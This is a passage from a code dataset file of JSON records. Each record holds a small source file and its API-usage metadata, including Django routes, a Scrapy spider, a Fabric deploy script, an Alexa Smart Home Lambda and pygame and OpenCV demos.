{"api_name": "numpy.cos", "line_number": 63, "usage_type": "call"}, {"api_name": "qqq.util.Timer", "line_number": 72, "usage_type": "call"}, {"api_name": "box_world.BoxWorld", "line_number": 76, "usage_type": "call"}, {"api_name": "sdl2.SDL_BlitSurface", "line_number": 83, "usage_type": "call"}, {"api_name": "sdl2.SDL_Rect", "line_number": 83, "usage_type": "call"}]} {"seq_id": "215356469", "text": "from django.urls import path\nfrom basic_app import views\n\napp_name='basic_app'\n\nurlpatterns=[\n path('register/',views.register,name='register'),\n path('login/',views.user_login,name='login'),\n path('home/',views.home,name='home'),\n]", "sub_path": "Registeration/basic_app/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 242, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "basic_app.views.register", "line_number": 7, "usage_type": "attribute"}, {"api_name": "basic_app.views", "line_number": 7, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "basic_app.views.user_login", "line_number": 8, "usage_type": "attribute"}, {"api_name": "basic_app.views", "line_number": 8, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "basic_app.views.home", "line_number": 9, "usage_type": "attribute"}, {"api_name": "basic_app.views", "line_number": 9, "usage_type": "name"}]} {"seq_id": "378163385", "text": "from django.urls import path\nfrom planning_tool import views\n\nurlpatterns=[\n path('portfolio/', views.PortfolioList.as_view(), name=\"portfolio_list\"),\n path('portfolio/<int:pk>', views.PortfolioDetail.as_view(), name=\"portfolio_detail\"),\n path('holding/', views.HoldingList.as_view(), name=\"holding_list\"),\n path('holding/<int:pk>', views.HoldingDetail.as_view(), name=\"holding_detail\"),\n path('account-types/', views.AccountTypeList.as_view(), name=\"account_type_list\"),\n path('security-types/', views.SecurityTypeList.as_view(), name=\"security_type_list\")\n]\n", "sub_path": "fiscal/planning_tool/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 578, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.urls.path", "line_number": 5, "usage_type": "call"}, {"api_name": "planning_tool.views.PortfolioList.as_view", "line_number": 5, "usage_type": "call"}, {"api_name": "planning_tool.views.PortfolioList", "line_number": 5, "usage_type": "attribute"}, {"api_name": "planning_tool.views", "line_number": 5, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "planning_tool.views.PortfolioDetail.as_view", "line_number": 6, "usage_type": "call"}, {"api_name": "planning_tool.views.PortfolioDetail", "line_number": 6, "usage_type": "attribute"}, {"api_name": "planning_tool.views", "line_number": 6, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "planning_tool.views.HoldingList.as_view", "line_number": 7, "usage_type": "call"}, {"api_name": "planning_tool.views.HoldingList", "line_number": 7, "usage_type": "attribute"}, {"api_name": "planning_tool.views", "line_number": 7, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "planning_tool.views.HoldingDetail.as_view", "line_number": 8, "usage_type": "call"}, {"api_name": "planning_tool.views.HoldingDetail", "line_number": 8, "usage_type": "attribute"}, {"api_name": "planning_tool.views", "line_number": 8, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "planning_tool.views.AccountTypeList.as_view", "line_number": 9, "usage_type": "call"}, {"api_name": "planning_tool.views.AccountTypeList", "line_number": 9, "usage_type": "attribute"}, {"api_name": "planning_tool.views", "line_number": 9, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "planning_tool.views.SecurityTypeList.as_view", "line_number": 10, "usage_type": "call"}, {"api_name": "planning_tool.views.SecurityTypeList", "line_number": 10, "usage_type": "attribute"}, {"api_name": "planning_tool.views", "line_number": 10, "usage_type": "name"}]} {"seq_id": "318119680", "text": "from options import options\nfrom utils.benchmark import BenchmarkMetrics\n\nfrom dataloaders.dataloaderGetters import *\nimport models.encoderdecoder as model\nfrom utils.logger import LoggerTensorBoard\nfrom loss.lossGetters import *\nfrom methods.methodGetters import *\nfrom experiments.experimentGetters import *\nfrom optimizers.optimizerSchedulerGetters import *\n\ndef getExperiment(config_file):\n CONFIG_FILE_NAME = config_file\n\n torch.autograd.set_detect_anomaly(True)\n\n args = options(CONFIG_FILE_NAME)\n print(\"The system will use following resource: {:}\".format(args.argsCommon.device))\n print(\"Experiment Name: \" + args.argsCommon.experiment_name)\n print(\"Experiment will be saved to \" + args.argsCommon.experiment_save_path)\n\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() and args.argsCommon.device == \"gpu\" else \"cpu\")\n\n dataloaders = getFlirAdasKaistCombinedDataLoaders(args.argsDataset)\n\n currentModel = model.make_model(args.argsModel)\n currentModel.to(device)\n\n possibles = globals().copy()\n loss_dict = dict()\n loss_dict[\"types\"] = []\n loss_dict[\"functions\"] = []\n loss_dict[\"weights\"] = []\n for loss in args.argsLoss.loss.split('+'):\n weight, loss_type = loss.split('*')\n loss_dict[\"functions\"].append(possibles.get('get'+loss_type+'Loss')(args.argsLoss))\n loss_dict[\"weights\"].append(float(weight))\n loss_dict[\"types\"].append(loss_type)\n loss_dict[\"types\"].append('total')\n\n lr_scheduler, optimizer = possibles.get('get'+args.argsMethod.optimizer+'Optimizer')(currentModel.parameters(), args.argsMethod)\n\n method = getBaseMethod(currentModel, loss_dict, optimizer, args.argsMethod)\n\n benchmark = BenchmarkMetrics(args.argsBenchmark)\n\n logger = LoggerTensorBoard(args.argsCommon.experiment_save_path,\n args.argsCommon.experiment_save_path + '/tensorboard')\n\n experiment = getBaseExperiment(currentModel, dataloaders, loss_dict, method, optimizer, lr_scheduler, benchmark, logger, args.argsExperiment)\n\n return experiment", "sub_path": "assemblers/encoderDecoderFusionv2ADASKAISTAssembler.py", "file_name": "encoderDecoderFusionv2ADASKAISTAssembler.py", "file_ext": "py", "file_size_in_byte": 2072, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "options.options", "line_number": 17, "usage_type": "call"}, {"api_name": "dataloaders.dataloaderGetters", "line_number": 24, "usage_type": "name"}, {"api_name": "models.encoderdecoder.make_model", "line_number": 26, "usage_type": "call"}, {"api_name": "models.encoderdecoder", "line_number": 26, "usage_type": "name"}, {"api_name": "loss.lossGetters", "line_number": 34, "usage_type": "name"}, {"api_name": "loss.lossGetters.split", "line_number": 35, "usage_type": "call"}, {"api_name": "loss.lossGetters", "line_number": 35, "usage_type": "name"}, {"api_name": "utils.benchmark.BenchmarkMetrics", "line_number": 45, "usage_type": "call"}, {"api_name": "utils.logger.LoggerTensorBoard", "line_number": 47, "usage_type": "call"}, {"api_name": "dataloaders.dataloaderGetters", "line_number": 50, "usage_type": "argument"}]} {"seq_id": "647267174", "text": "from collections import defaultdict\n\n\n\ndef main():\n with open(\"puzzleInputs/12.txt\") as file:\n inp = file.readlines()\n init_str = to_num(inp[0].split(\":\")[1].strip())\n init_str_len = len(init_str)\n\n max_generations = 50000000000\n slice_size = 5\n padding = (slice_size - 1) * \"0\"\n pot_states = padding + init_str + padding\n\n rules = defaultdict(lambda: \"0\")\n for rule_str in inp[1:]:\n rule, result = [s.strip() for s in rule_str.split(\" => \")]\n rules[to_index(rule)] = to_num(result)\n \n # 50bil will never complete, inspected loop and noticed that after \n # 124 generations the sum always increase by 88. \n # Cut the loop short here, and sum up any remaining generations later\n gens_processed = 0\n for gen in range(min(125, max_generations)):\n new_states = []\n for start_index in range(0, len(pot_states) + 1 - slice_size):\n asdf = pot_states[start_index : start_index + slice_size]\n new_states.append(rules[to_index(asdf)])\n pot_states = padding + \"\".join(new_states) + padding\n gens_processed += 1\n \n # Part 1\n if (gens_processed == 20):\n print(calc_pot_sum(pot_states, init_str_len))\n \n # Part 2\n pot_sum = calc_pot_sum(pot_states, init_str_len)\n pot_sum += 88 * max(0, max_generations - gens_processed)\n print(pot_sum)\n\n\nconversion = str.maketrans({\"#\":\"1\", \".\":\"0\"})\ndef to_num(s):\n return s.translate(conversion)\n\ndef to_index(s):\n return int(to_num(s), 2)\n\ndef calc_pot_sum(pot_states, init_size):\n offset = (len(pot_states) - init_size) // 2\n return sum([(ind - offset) * int(val) for ind, val in enumerate(pot_states)])\n\nif __name__ == \"__main__\":\n main()\n", "sub_path": "d12.py", "file_name": "d12.py", "file_ext": "py", "file_size_in_byte": 1742, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "collections.defaultdict", "line_number": 16, "usage_type": "call"}]} {"seq_id": "420679254", "text": "\"\"\" moveBox.py\r\n \"\"\"\r\n\r\nimport pygame\r\npygame.init()\r\n\r\n # Construct a screen - 640 by 480 pixels.\r\nscreen = pygame.display.set_mode((640,480))\r\n\r\ndef main():\r\n\r\n\r\n # Construct a yellow background surface the same size as the screen.\r\n\r\n background = pygame.Surface(screen.get_size()) # Construct background.\r\n background = background.convert() # Convert graphics format.\r\n background.fill((0, 255, 0)) # Fill with yellow.\r\n\r\n # Now construct a box to move on the screen. \r\n\r\n box = pygame.Surface((100,100)) # Construct a 100 x 100 surface.\r\n box = box.convert() # Convert graphics format.\r\n box.fill((255,0,0)) # Color the box red.\r\n\r\n # set up some box variables - these will determine where\r\n # the upper left corner of the box is located on the surface.\r\n\r\n box_x = 0 # The x-coordinate.\r\n box_y = 200 # The y-coordinate.\r\n\r\n clock = pygame.time.Clock() # A clock to control the frame rate.\r\n keepGoing = True # Signals when the program ends.\r\n\r\n while keepGoing:\r\n \r\n clock.tick(30) # Frame rate 30 frames per second.\r\n\r\n for event in pygame.event.get(): # This will cause the program to\r\n if event.type == pygame.QUIT: # terminate when the upper right\r\n keepGoing = False # X on the window is clicked.\r\n\r\n box_y = box_y + 10\r\n box_x = box_x + 10 # move the box to the right 5 pixels\r\n \r\n # check if the box moved off the right side\r\n # of the screen and if it did, bring it back on the left.\r\n \r\n if box_y > screen.get_width():\r\n \t box_y = -100\r\n\r\n # Blit the background to the screen at position (0,0)\r\n # Blit the box to the screen at its (box_x, box_y) position.\r\n \r\n screen.blit(background, (0,0))\r\n screen.blit(box, (box_x, box_y)) \r\n \r\n pygame.display.flip() # Flip the double buffered screen to\r\n # create the animation.\r\n\r\n# Call the main() function\r\n\r\nmain()\r\npygame.quit() # Quit pygame\r\n", "sub_path": "computer-science-i/misc/moveBox.py", "file_name": "moveBox.py", "file_ext": "py", "file_size_in_byte": 2129, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pygame.init", "line_number": 5, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.Surface", "line_number": 15, "usage_type": "call"}, {"api_name": "pygame.Surface", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.time.Clock", "line_number": 31, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 31, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 38, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 38, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 57, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 57, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 63, "usage_type": "call"}]} {"seq_id": "157542314", "text": "# _*_ coding: utf-8 _*_\n\"\"\"This file is a JobbSll spider created on top of the ATSSpider\nscrapy crawl jobb_sll -a url=\"http://www.jobb.sll.se/Annonslistning/\" -a mining_job_id=999 -a iteration=1 -a extract=1\nsample url:\n http://www.jobb.sll.se/Annonslistning/\n\"\"\"\nfrom urlparse import urljoin\nfrom re import compile\n\nfrom scrapy.selector import Selector\nfrom scrapy.http import Request, FormRequest\n\nfrom brightcorp.base.atsspiders import ATSSpider\nfrom brightcorp.items import BrightcorpItemLoader\nfrom brightcorp.processors import Prefix, ConvertDateString, Replace\nfrom brightcorp.lib.utils import extract_first\n\n\nclass JobbSll(ATSSpider):\n\n name = \"jobb_sll\"\n ref_re = compile(\"refnr=(.*?)(&|$)\")\n next_page_re = compile(\"\\('(.*?)'\\,\")\n\n def parse(self, response):\n sel = Selector(response)\n jobs = sel.xpath(\n \"//div[@id='leftcontentdiv']/div[contains(@class,'ListItem')]\"\n )\n for job in jobs:\n job_link = job.xpath(\"./h3/a/@href\").extract()\n if job_link:\n job_url = urljoin(response.url, job_link[0])\n meta = {\n 'title': job.xpath(\"./h3/a/text()\").extract(),\n 'dates': job.xpath(\n \"./div[contains(@class,'ListItemDate')]/text()\"\n ).extract(),\n 'company': job.xpath(\n \"./div[contains(@class,'ListItemSubHeader')]/text()\"\n ).extract(),\n }\n yield Request(\n job_url, meta=meta, callback=self.parse_job_callback()\n )\n\n next_page_sel = sel.xpath(\n \"//a[contains(text(),'%s')]/@href\" % unicode(\"Nästa\", 'utf-8')\n )\n next_page = extract_first(next_page_sel, re=self.next_page_re)\n if next_page:\n form_inp = sel.xpath(\"//form//*[self::input or self::select]\")\n form_data = {}\n for inp in form_inp:\n name = inp.xpath(\"./@name\").extract()\n val = inp.xpath(\"./@value\").extract()\n if name and name[0] != 'ctl00$FullContent$RightContent$ctl00$button':\n if val and val[0]:\n form_data[name[0]] = val[0]\n else:\n form_data[name[0]] = \"-1\"\n form_data['ctl00$TopHeaderContent$TopBarContent$ctl00$hiddenField'] = \"\"\n form_data['ctl00$TopHeaderContent$TopBarContent$ctl00$hiddenInput'] = \"\"\n form_data['__EVENTTARGET'] = next_page\n form_data['__EVENTARGUMENT'] = \"\"\n yield FormRequest(\n response.url, formdata=form_data, callback=self.parse\n )\n\n def parse_job(self, response):\n loader = BrightcorpItemLoader(response=response)\n loader.add_value('url', response.url)\n loader.add_value('title', response.meta['title'])\n\n desc_xpaths = (\n \"//div[\"\n \"@id='ctl00_FullContent_LeftContent_ingressRow' or \"\n \"@id='ctl00_FullContent_LeftContent_employmentRow' or \"\n \"@id='ctl00_FullContent_LeftContent_personalRow' or \"\n \"@id='ctl00_FullContent_LeftContent_infoRow' or \"\n \"@id='ctl00_FullContent_LeftContent_unionRow' or \"\n \"@id='ctl00_FullContent_LeftContent_otherRow'\"\n \"]/node()\"\n )\n\n if len(response.meta['dates']) == 2:\n loader.add_value(\n 'date', response.meta['dates'][0],\n ConvertDateString(\"%Y-%m-%d\")\n )\n loader.add_value(\n 'expiration_date', response.meta['dates'][1],\n Replace(unicode(\"Sista ansökningsdatum\\:\", 'utf-8')),\n ConvertDateString(\"%Y-%m-%d\")\n )\n loader.add_xpath(\n 'company',\n \"//img[@id='ctl00_FullContent_RightContent_forvaltningImage']/@alt\",\n Replace(unicode(\"Logotyp för\", 'utf-8'))\n )\n if not loader.get_output_value('company'):\n loader.add_value('company', response.meta['company'])\n loader.add_xpath('description', desc_xpaths)\n loader.add_xpath(\n 'responsibilities',\n \"//div[@id='ctl00_FullContent_LeftContent_worktaskRow']\"\n )\n loader.add_xpath(\n 'qualifications',\n \"//div[@id='ctl00_FullContent_LeftContent_qualifyRow']\"\n )\n loader.add_value(\n 'referencenumber', response.url, Prefix(\"%s-\" % self.name),\n re=self.ref_re\n )\n yield loader.load_item()\n", "sub_path": "brightcorp/brightcorp/spiders/jobb_sll.py", "file_name": "jobb_sll.py", "file_ext": "py", "file_size_in_byte": 4646, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "brightcorp.base.atsspiders.ATSSpider", "line_number": 19, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 22, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 23, "usage_type": "call"}, {"api_name": "scrapy.selector.Selector", "line_number": 26, "usage_type": "call"}, {"api_name": "urlparse.urljoin", "line_number": 33, "usage_type": "call"}, {"api_name": "scrapy.http.Request", "line_number": 43, "usage_type": "call"}, {"api_name": "brightcorp.lib.utils.extract_first", "line_number": 50, "usage_type": "call"}, {"api_name": "scrapy.http.FormRequest", "line_number": 66, "usage_type": "call"}, {"api_name": "brightcorp.items.BrightcorpItemLoader", "line_number": 71, "usage_type": "call"}, {"api_name": "brightcorp.processors.ConvertDateString", "line_number": 89, "usage_type": "call"}, {"api_name": "brightcorp.processors.Replace", "line_number": 93, "usage_type": "call"}, {"api_name": "brightcorp.processors.ConvertDateString", "line_number": 94, "usage_type": "call"}, {"api_name": "brightcorp.processors.Replace", "line_number": 99, "usage_type": "call"}, {"api_name": "brightcorp.processors.Prefix", "line_number": 113, "usage_type": "call"}]} {"seq_id": "256643735", "text": "import esper\nfrom typing import NamedTuple\nfrom simpy import FilterStore\n\nfrom main import EVENT\nfrom components.Path import Path\nfrom components.Position import Position\nfrom components.Velocity import Velocity\n\n\nEndOfPathPayload = NamedTuple('EndOfPathPayload', [('ent', int), ('timestamp', str)])\nEndOfPathTag = 'EndOfPath'\n\n\nclass PathProcessor(esper.Processor):\n def __init__(self):\n super().__init__()\n\n def process(self, kwargs):\n event_store: FilterStore = kwargs.get('EVENT_STORE', None)\n env = kwargs.get('ENV', None)\n for ent, (pos, path, vel) in self.world.get_components(Position, Path, Velocity):\n # print(f\"Processing {ent}\")\n point = path.points[path.curr_point]\n pos_center = pos.center\n # print(f\"[Path] Point {point} is {path.curr_point}th point\")\n if pos_center[0] == point[0] and pos_center[1] == point[1]:\n # print(\"Going to next point\")\n path.curr_point += 1\n if path.curr_point == len(path.points):\n # end of path\n vel.x = 0\n vel.y = 0\n # print(\"Removing Path component from\", ent)\n pos.changed = False or pos.changed\n self.world.remove_component(ent, Path)\n # Adds an EndOfPath event, in case anyone is listening\n end_of_path = EVENT(EndOfPathTag, EndOfPathPayload(ent, env.now))\n # print(f'[{env.now}] PathProcessor adding EndOfPath event {end_of_path}')\n event_store.put(end_of_path)\n return\n point = path.points[path.curr_point]\n # print(f\"Point {point} is {path.curr_point}th point\")\n\n dx = point[0] - pos_center[0]\n if dx > 0:\n vel.x = min(path.speed, dx)\n else:\n vel.x = max(- path.speed, dx)\n dy = point[1] - pos_center[1]\n if dy > 0:\n vel.y = min(path.speed, dy)\n else:\n vel.y = max(- path.speed, dy)\n\n", "sub_path": "simulator/systems/PathProcessor.py", "file_name": "PathProcessor.py", "file_ext": "py", "file_size_in_byte": 2134, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "typing.NamedTuple", "line_number": 11, "usage_type": "call"}, {"api_name": "esper.Processor", "line_number": 15, "usage_type": "attribute"}, {"api_name": "simpy.FilterStore", "line_number": 20, "usage_type": "name"}, {"api_name": "components.Position.Position", "line_number": 22, "usage_type": "argument"}, {"api_name": "components.Path.Path", "line_number": 22, "usage_type": "argument"}, {"api_name": "components.Velocity.Velocity", "line_number": 22, "usage_type": "argument"}, {"api_name": "components.Path.Path", "line_number": 36, "usage_type": "argument"}, {"api_name": "main.EVENT", "line_number": 38, "usage_type": "call"}]} {"seq_id": "633956565", "text": "\"\"\"Example Fabric script that can build a simple web project\nand uses Gitfab to release and deploy it.\n\nTypical usage:\n\nCreate a release and add it to the release repository.\n\n fab release\n\nDeploy the latest release:\n\n fab -H username@example.com deploy\n\n\"\"\"\n\nimport sys\n\n# Assuming we're in a subdirectory of the gitfab-deploy project.\nsys.path.append('../')\n\nimport os\nimport shutil\n\nfrom fabric.api import local, sudo, env, task\n\nimport gitfab\n\n# Where the release is installed on the server\nenv.gitfab_install_dir = '/opt/example.com'\n\n# Central repository for releases.\n# This must be an existing repo that the local user (you) has write access to.\nenv.gitfab_releases_repo = 'ssh://git@bitbucket.org/vilcans/releases-demo.git'\n\n# Which paths to include in a release.\nenv.gitfab_release_paths = [\n 'public/',\n 'nginx.conf',\n]\n\n\ndef post_update(old_version, new_version, updated_files):\n \"\"\"\n Possible statuses:\n Added (A), Copied (C), Deleted (D), Modified (M), Renamed (R),\n type (i.e. regular file, symlink, submodule, ...) changed (T),\n Unmerged (U), Unknown (X), pairing Broken (B).\n\n See the documentation for git diff --diff-filter.\n\n \"\"\"\n\n # Restart Nginx when its configuration has changed.\n if 'nginx.conf' in updated_files:\n restart_nginx()\n\nenv.gitfab_post_update = post_update\n\n\n@task\ndef build():\n \"\"\"Create files that should be included in a release\"\"\"\n # This is an example of building before a release.\n # Here you can call external scripts like make, cake, etc.\n # or use Python code to generate the release.\n # For this example, we copy the files from static into the\n # release directory (public/) and concatenates all Javascript files.\n if os.path.exists('public'):\n shutil.rmtree('public')\n shutil.copytree('static', 'public')\n\n js = []\n for jsfile in ('src/module.js', 'src/main.js'):\n with open(jsfile) as stream:\n js.append(stream.read())\n os.makedirs('public/js')\n with open('public/js/all.js', 'w') as stream:\n stream.write('\\n'.join(js))\n\n\n# Use Gitfab's default deploy task\ndeploy = gitfab.deploy\n\n\n@task\ndef release(version=None):\n \"\"\"Creates and releases the current code.\n Takes an optional version string as parameter.\n\n \"\"\"\n gitfab.check_working_dir_clean()\n build()\n gitfab.release(version)\n\n\n@task\ndef restart_nginx():\n \"\"\"Restart Nginx. Example of a task that's executed when needed.\"\"\"\n sudo('kill -HUP $(cat /var/run/nginx.pid)')\n", "sub_path": "example/fabfile.py", "file_name": "fabfile.py", "file_ext": "py", "file_size_in_byte": 2511, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.path.append", "line_number": 19, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "fabric.api.env.gitfab_install_dir", "line_number": 29, "usage_type": "attribute"}, {"api_name": "fabric.api.env", "line_number": 29, "usage_type": "name"}, {"api_name": "fabric.api.env.gitfab_releases_repo", "line_number": 33, "usage_type": "attribute"}, {"api_name": "fabric.api.env", "line_number": 33, "usage_type": "name"}, {"api_name": "fabric.api.env.gitfab_release_paths", "line_number": 36, "usage_type": "attribute"}, {"api_name": "fabric.api.env", "line_number": 36, "usage_type": "name"}, {"api_name": "fabric.api.env.gitfab_post_update", "line_number": 57, "usage_type": "attribute"}, {"api_name": "fabric.api.env", "line_number": 57, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 69, "usage_type": "call"}, {"api_name": "shutil.copytree", "line_number": 70, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 76, "usage_type": "call"}, {"api_name": "fabric.api.task", "line_number": 60, "usage_type": "name"}, {"api_name": "gitfab.deploy", "line_number": 82, "usage_type": "attribute"}, {"api_name": "gitfab.check_working_dir_clean", "line_number": 91, "usage_type": "call"}, {"api_name": "gitfab.release", "line_number": 93, "usage_type": "call"}, {"api_name": "fabric.api.task", "line_number": 85, "usage_type": "name"}, {"api_name": "fabric.api.sudo", "line_number": 99, "usage_type": "call"}, {"api_name": "fabric.api.task", "line_number": 96, "usage_type": "name"}]} {"seq_id": "518411325", "text": "# -*- coding: utf-8 -*-\n\n# Copyright 2017 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n#\n# Licensed under the Amazon Software License (the \"License\"). You may not use this file except in\n# compliance with the License. A copy of the License is located at\n#\n# http://aws.amazon.com/asl/\n#\n# or in the \"license\" file accompanying this file. This file is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, express or implied. See the License for the specific\n# language governing permissions and limitations under the License.\n\n\"\"\"Alexa Smart Home Lambda Function Sample Code.\n\nThis file demonstrates some key concepts when migrating an existing Smart Home skill Lambda to\nv3, including recommendations on how to transfer endpoint/appliance objects, how v2 and vNext\nhandlers can be used together, and how to validate your v3 responses using the new Validation\nSchema.\n\nNote that this example does not deal with user authentication, only uses virtual devices, omits\na lot of implementation and error handling to keep the code simple and focused.\n\"\"\"\n\nimport logging\nimport time\nimport json\nimport uuid\nimport boto3\nimport requests\nimport decimal\n\n# Imports for v3 validation\nfrom validation import validate_message\n\n# Setup logger\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\n\ndef get_uuid():\n return str(uuid.uuid4())\n\ndef lambda_handler(event, context):\n print(str(event))\n #print(str(context))\n #access_token = event['directive']['payload']['scope']['token']\n\n if event['directive']['header']['namespace'] == 'Alexa.Discovery':\n return handleDiscovery(context, event)\n elif event['directive']['header']['namespace'] == 'Alexa.Authorization':\n return handleAuthorization(context, event)\n\n\n##### The Handlers #########\ndef handleDiscovery(context, event):\n payload = ''\n header = {\n \"namespace\": \"Alexa.Discovery\",\n \"name\": \"Discover.Response\",\n \"payloadVersion\": \"3\",\n \"messageId\" : get_uuid()\n }\n\n if event['directive']['header']['name'] == 'Discover':\n payload = {\n 'endpoints':\n [\n {\n \"endpointId\": \"dashbuttondoorbell\",\n \"manufacturerName\": \"Amazon\",\n \"friendlyName\": \"front door\",\n \"description\": \"Hacked dash button to work as doorbell\",\n \"displayCategories\": [\"DOORBELL\"],\n \"cookie\": {},\n \"capabilities\": [\n {\n \"type\": \"AlexaInterface\",\n \"interface\": \"Alexa.DoorbellEventSource\",\n \"version\": \"3\",\n \"proactivelyReported\": True\n }\n ]\n }\n ]\n }\n return { 'event': {'header': header, 'payload': payload }}\n\n\ndef handleAuthorization(context,event):\n if event['directive']['header']['name'] == \"AcceptGrant\":\n ### get first token from oauth\n url = 'https://api.amazon.com/auth/o2/token'\n headers = {'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8'}\n params = {\n 'grant_type': 'authorization_code',\n 'code' : event['directive']['payload']['grant']['code'],\n 'client_id' : 'PUT CLIENT ID HERE',\n 'client_secret': 'PUT CLIENT SECRET HERE'\n }\n r = requests.post(url=url, headers=headers, data=params)\n\n access_token = r.json()\n access_token['received'] = decimal.Decimal(time.time())\n\n ### need to store the token ###\n dynamodb = boto3.resource('dynamodb')\n table = dynamodb.Table('doorbelltokens')\n table.put_item(\n Item={\n 'user': 'roberto',\n 'grant': event['directive']['payload']['grant'],\n 'grantee': event['directive']['payload']['grantee'],\n 'access_token' : access_token\n }\n )\n response = {\n \"event\": {\n \"header\": {\n \"namespace\": \"Alexa.Authorization\",\n \"name\": \"AcceptGrant.Response\",\n \"payloadVersion\": \"3\",\n \"messageId\": get_uuid()\n },\n \"payload\": {}\n }\n }\n print(str(response))\n return response\n", "sub_path": "lambda.py", "file_name": "lambda.py", "file_ext": "py", "file_size_in_byte": 4583, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 37, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 38, "usage_type": "attribute"}, {"api_name": "uuid.uuid4", "line_number": 42, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 101, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 104, "usage_type": "call"}, {"api_name": "time.time", "line_number": 104, "usage_type": "call"}, {"api_name": "boto3.resource", "line_number": 107, "usage_type": "call"}]} {"seq_id": "85328968", "text": "\r\n# Project: OpenCV Image Processing Practice\r\n# Author: Burak Koryan | burak@koryan.ca\r\n# Date : Aug 2 2019\r\n# Description: https://www.lynda.com/Python-tutorials/OpenCV-Python-Developers/601786-2.html\r\n#-----------------------------------------------------------------------------------------------------------------------\r\n\r\n# Import libraries\r\nimport numpy as np\r\nimport cv2 as cv\r\n\r\nbeaver = cv.imread(\"beaver.jpg\",1) # read img into variable in full color -> 1\r\n#cv.imshow(\"original beaver image\",beaver)\r\nbeaver = cv.resize(beaver,(0,0),fx = 0.5,fy = 0.5) # resize the image and make it 50% smaller\r\n#cv.imshow(\"scaled beaver image\",beaver) # img show with window name \"bv\"\r\n\r\nprint(\"\\nimage shape(r,col,channel):\",beaver.shape) # print img shape (row,col,channel aka rgb)\r\nprint(\"image data type:\",beaver.dtype) # Image data type (e.g. uint8)\r\nprint(\"image size(# of pixels):\",beaver.size) # Image size\r\nh,w,chn = beaver.shape # get beaver images'shape into h w and chn variables\r\ncv.moveWindow(\"beaver\",350,0) # move window to horizontal:350 vertical:10\r\n\r\nb,g,r = cv.split(beaver) # Split multi-chnl array(rgb colors) into separate arrays\r\nrgb_split = np.empty([h,w*3 ,3],'uint8') # Return a new array of given shape and type (width*3 in this case)\r\nprint(b)\r\n# cv.merge(): Creates one multichannel array out of several single-channel ones.\r\nrgb_split[:,0:w] = cv.merge([b,b,b])\r\nrgb_split[:,w:w*2] = cv.merge([g,g,g])\r\nrgb_split[:,w*2:w*3] = cv.merge([r,r,r])\r\n\r\n#cv.imshow(\"channels\",rgb_split)\r\ncv.moveWindow(\"channels\",0,h)\r\n\r\nhsv = cv.cvtColor(beaver,cv.COLOR_BGR2HSV)\r\nh,s,v = cv.split(hsv)\r\nhsv_split = np.concatenate((h,s,v),axis = 1)\r\n#cv.imshow(\"Split HSV\",hsv_split)\r\n# #----------------------------------------------------------------------------------------------------------\r\n\r\nbeaver_gray = cv.cvtColor(beaver,cv.COLOR_RGB2GRAY)\r\ncv.imwrite(\"beaver_gry.jpg\",beaver_gray)\r\n# cv.imshow(\"grayscale\",beaver_gray)\r\n# cv.imshow(\"beaver in color\",beaver)\r\n\r\nb = beaver[:,:,0]\r\ng = beaver[:,:,1]\r\nr = beaver[:,:,2]\r\n\r\nrgba = cv.merge((b,g,r,r))\r\n#cv.imshow(\"Merged 